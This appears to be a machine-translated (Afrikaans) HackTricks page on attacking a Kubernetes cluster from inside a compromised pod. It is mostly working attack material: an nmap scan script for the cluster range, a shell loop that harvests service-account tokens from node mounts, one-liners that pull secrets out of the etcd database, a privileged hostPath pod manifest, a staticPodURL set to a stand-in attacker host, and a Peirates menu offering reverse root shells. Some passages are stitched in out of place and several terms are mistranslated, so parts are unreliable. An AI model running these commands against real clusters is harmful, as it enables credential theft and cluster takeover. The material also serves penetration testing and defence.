Attacking Kubernetes from inside a Pod

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Pod Uitbreek

As jy gelukkig genoeg is, kan jy dalk daaruit ontsnap na die node:

Ontsnapping uit die pod

Om te probeer ontsnap uit die pos, mag jy eers voorregte eskaleer nodig hê, enkele tegnieke om dit te doen:

Jy kan hierdie docker-ontsnappings probeer om te ontsnap uit 'n pod wat jy gekompromitteer het:

Misbruik van Kubernetes Voorregte

Soos verduidelik in die afdeling oor kubernetes enumerasie:

pageKubernetes Enumeration

Gewoonlik word die pods uitgevoer met 'n diensrekening token binne-in hulle. Hierdie diensrekening mag dalk enkele voorregte daaraan geheg hê wat jy kan misbruik om na ander pods te beweeg of selfs om te ontsnap na die nodes wat binne die groep geconfigureer is. Sien hoe in:

pageAbusing Roles/ClusterRoles in Kubernetes

Misbruik van Wolksvoorregte

As die pod binne 'n wolk-omgewing uitgevoer word, kan jy dalk 'n token van die metadata-eindpunt lek en voorregte eskaleer deur dit te gebruik.

Soek kwesbare netwerkdienste

Aangesien jy binne die Kubernetes-omgewing is, as jy nie voorregte kan eskaleer deur die huidige pods se voorregte te misbruik en jy nie uit die houer kan ontsnap nie, moet jy potensieel kwesbare dienste soek.

Dienste

Vir hierdie doel kan jy probeer om al die dienste van die kubernetes-omgewing te kry:

kubectl get svc --all-namespaces

Standaard gebruik Kubernetes 'n plat netwerkskema, wat beteken enige pod/diens binne die groep kan met ander kommunikeer. Die namespaces binne die groep het nie enige netwerksekuriteitsbeperkings standaard nie. Enigiemand in die namespace kan met ander namespaces kommunikeer.

Skandering

Die volgende Bash-skrip (geneem van 'n Kubernetes-werksessie) sal die IP-reeks van die kubernetes-groep installeer en skandeer:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Bespeur

In die geval waar die gekompromitteerde peul 'n sensitiewe diens hardloop waar ander peule moet verifieer, kan jy moontlik die geloofsbriewe wat van die ander peule gestuur word, verkry deur plaaslike kommunikasie te bespeur.

Netwerk Vervalsing

Standaard tegnieke soos ARP-vervalsing (en danksy dit DNS-vervalsing) werk in die kubernetes-netwerk. Dan, binne 'n peul, as jy die NET_RAW-vermoë het (wat standaard daar is), sal jy in staat wees om aangepaste vervaardigde netwerkpakkette te stuur en MitM-aanvalle via ARP-vervalsing op al die peule wat op dieselfde node hardloop, uit te voer. Verder, as die boosaardige peul op dieselfde node as die DNS-bediener hardloop, sal jy in staat wees om 'n DNS-vervalsingsaanval op al die peule in die groep uit te voer.

Node DoS

Daar is geen spesifikasie van hulpbronne in die Kubernetes-manifeste en geen toegepaste limiet reekse vir die houers nie. As 'n aanvaller kan ons alle hulpbronne waar die peul/deployement hardloop, verbruik en ander hulpbronne uithonger en 'n DoS vir die omgewing veroorsaak.

Dit kan gedoen word met 'n instrument soos stress-ng:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

Jy kan die verskil sien terwyl jy stress-ng hardloop en daarna

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Na-Exploitasie

Indien jy daarin geslaag het om uit die houer te ontsnap sal jy interessante dinge in die node vind:

  • Die Houerbedryfstelsel proses (Docker)

  • Meer pods/houers wat op die node hardloop wat jy kan misbruik soos hierdie een (meer tokens)

  • Die hele lêersisteem en OS in die algemeen

  • Die Kube-Proxy diens wat luister

  • Die Kubelet diens wat luister. Kontroleer konfigurasie lêers:

    • Gids: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • Ander kubernetes algemene lêers:

    • $HOME/.kube/config - Gebruiker Konfig

    • /etc/kubernetes/kubelet.conf- Gewone Konfig

    • /etc/kubernetes/bootstrap-kubelet.conf - Begin Konfig

    • /etc/kubernetes/manifests/etcd.yaml - etcd Konfigurasie

    • /etc/kubernetes/pki - Kubernetes Sleutel

Vind node kubeconfig

Indien jy nie die kubeconfig lêer in een van die voorheen genoemde paaie kan vind nie, kontroleer die argument --kubeconfig van die kubelet proses:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Steel Geheime

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

Die skripsie can-they.sh sal outomaties die tokens van ander pods kry en nagaan of hulle die toestemming het wat jy soek (in plaas daarvan dat jy een vir een moet soek):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Bevoorregte DaemonSets

'n DaemonSet is 'n pod wat in alle nodes van die groep uitgevoer sal word. Daarom, as 'n DaemonSet ingestel is met 'n bevoorregte diensrekening, sal jy in ALLE nodes die teken van daardie bevoorregte diensrekening kan vind wat jy kan misbruik.

Die uitbuiting is dieselfde as in die vorige afdeling, maar jy hang nou nie van geluk af nie.

Pivoteer na die Wolk

As die groep deur 'n wolkdiens bestuur word, sal die **Node gewoonlik 'n ander toegang tot die metadata-eindpunt hê as die Pod. Probeer dus om die metadata-eindpunt vanaf die node te bereik (of vanaf 'n pod met hostNetwork na True):

pageKubernetes Pivoting to Clouds

Steel etcd

As jy die nodeName van die Node wat die houer sal hardloop, kan spesifiseer, kry 'n skaal binne 'n beheer-vlak node en kry die etcd-databasis:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane nodes het die rol meester en in wolke bestuurde groepe sal jy nie in staat wees om enigiets daarin uit te voer nie.

Lees geheime van etcd

As jy jou houer op 'n beheer-vlak node kan hardloop deur die nodeName kieser in die houer spesifikasie te gebruik, kan jy maklik toegang tot die etcd databasis hê, wat al die konfigurasie vir die groep bevat, insluitend alle geheime.

Hieronder is 'n vinnige en vuil manier om geheime van etcd te gryp as dit op die beheer-vlak node waarop jy is, hardloop. As jy 'n meer elegante oplossing wil hê wat 'n houer met die etcd kliëntnut etcdctl opskiet en die beheer-vlak node se geloofsbriewe gebruik om met etcd waar dit ook al hardloop, te verbind, kyk na [hierdie voorbeeld manifest] (https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) van @mauilion.

Kyk om te sien of etcd op die beheer-vlak node hardloop en sien waar die databasis is (Dit is op 'n kubeadm geskepte groep)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Die volgende is inhoud uit 'n hakboek oor hak tegnieke. Die volgende inhoud is uit die lêer pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md.

data-dir=/var/lib/etcd

Sien die data in die etcd-databasis:

strings /var/lib/etcd/member/snap/db | less

Haal die tokens uit die databasis en wys die diensrekeningnaam

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Dieselfde bevel, maar met 'n paar greps om net die verstek-token in die kube-stelsel-namespace terug te gee

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Aanval op Kubernetes van binne 'n Pod

As jy binne 'n Pod hardloop en toegang tot die Kubernetes API benodig, kan jy die diensrekening se diensrekening-token gebruik om toegang tot die API te kry. Hier is 'n paar maniere om dit te doen:

1. **Gebruik van omgewingsveranderlikes**: Kyk na die omgewingsveranderlikes binne die Pod om te sien of daar 'n diensrekening-token beskikbaar is.
2. **Monteer diensrekening-token as 'n volume**: As jy toegang het tot die Kubernetes API-diensrekening-token, kan jy dit as 'n volume binne die Pod monteer.
3. **Gebruik van API-aanroep vanaf die Pod**: Jy kan die diensrekening-token gebruik om API-aanroep vanaf die Pod te maak.

Dit kan 'n gevaarlike aanval wees, aangesien dit jou toegang tot die Kubernetes API gee met die regte van die diensrekening wat die Pod hardloop.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statische/Gespieëlde Pods Volharding

Statische Pods word direk deur die kubelet daemon op 'n spesifieke node bestuur, sonder dat die API-bediener hulle waarneem. Anders as Pods wat deur die beheervlak bestuur word (byvoorbeeld 'n Implementering); in plaas daarvan kyk die kubelet na elke statiese Pod (en begin dit weer as dit misluk).

Daarom is statiese Pods altyd gebind aan een Kubelet op 'n spesifieke node.

Die kubelet probeer outomaties 'n spieël-Pod op die Kubernetes API-bediener skep vir elke statiese Pod. Dit beteken dat die Pods wat op 'n node hardloop sigbaar is op die API-bediener, maar nie van daar af beheer kan word nie. Die Pod-name sal gesuffix word met die node se gasheernaam met 'n voorafgaande koppelteken.

Die spec van 'n statiese Pod kan nie na ander API-voorwerpe verwys (bv. ServiceAccount, ConfigMap, Secret, ens. Dus kan jy nie hierdie gedrag misbruik om 'n pod met 'n willekeurige serviceAccount in die huidige node te begin om die cluster te kompromiteer nie. Maar jy kan dit gebruik om pods in verskillende namespaces te hardloop (indien dit nuttig is vir 'n rede).

As jy binne die node-gashouer is, kan jy dit maak om 'n statische pod binne homself te skep. Dit is redelik nuttig omdat dit jou mag dalk toelaat om 'n pod in 'n ander namespace soos kube-system te skep.

Om 'n statiese pod te skep, is die dokumentasie 'n goeie hulp. Jy benodig basies 2 dinge:

  • Stel die parameter --pod-manifest-path=/etc/kubernetes/manifests in die kubelet-diens of in die kubelet-konfigurasie (staticPodPath) en begin die diens weer

  • Skep die definisie op die pod-definisie in /etc/kubernetes/manifests

'n Ander meer heimlike manier sou wees om:

  • Wysig die parameter staticPodURL van die kubelet-konfigurasielêer en stel iets soos staticPodURL: http://aanvaller.com:8765/pod.yaml in. Dit sal die kubelet-proses maak om 'n statische pod te skep wat die konfigurasie van die aangeduide URL kry.

Voorbeeld van pod-konfigurasie om 'n bevoorregte pod in kube-system te skep geneem van hier:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Verwyder bokse + onskeduleerbare nodes

Indien 'n aanvaller 'n node gekompromiteer het en hy kan bokse van ander nodes verwyder en ander nodes onvermoë maak om bokse uit te voer, sal die bokse weer op die gekompromiteerde node hardloop en hy sal in staat wees om die tokens wat in hulle hardloop, te steel. Vir meer inligting volg hierdie skakels.

Outomatiese Gereedskap

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated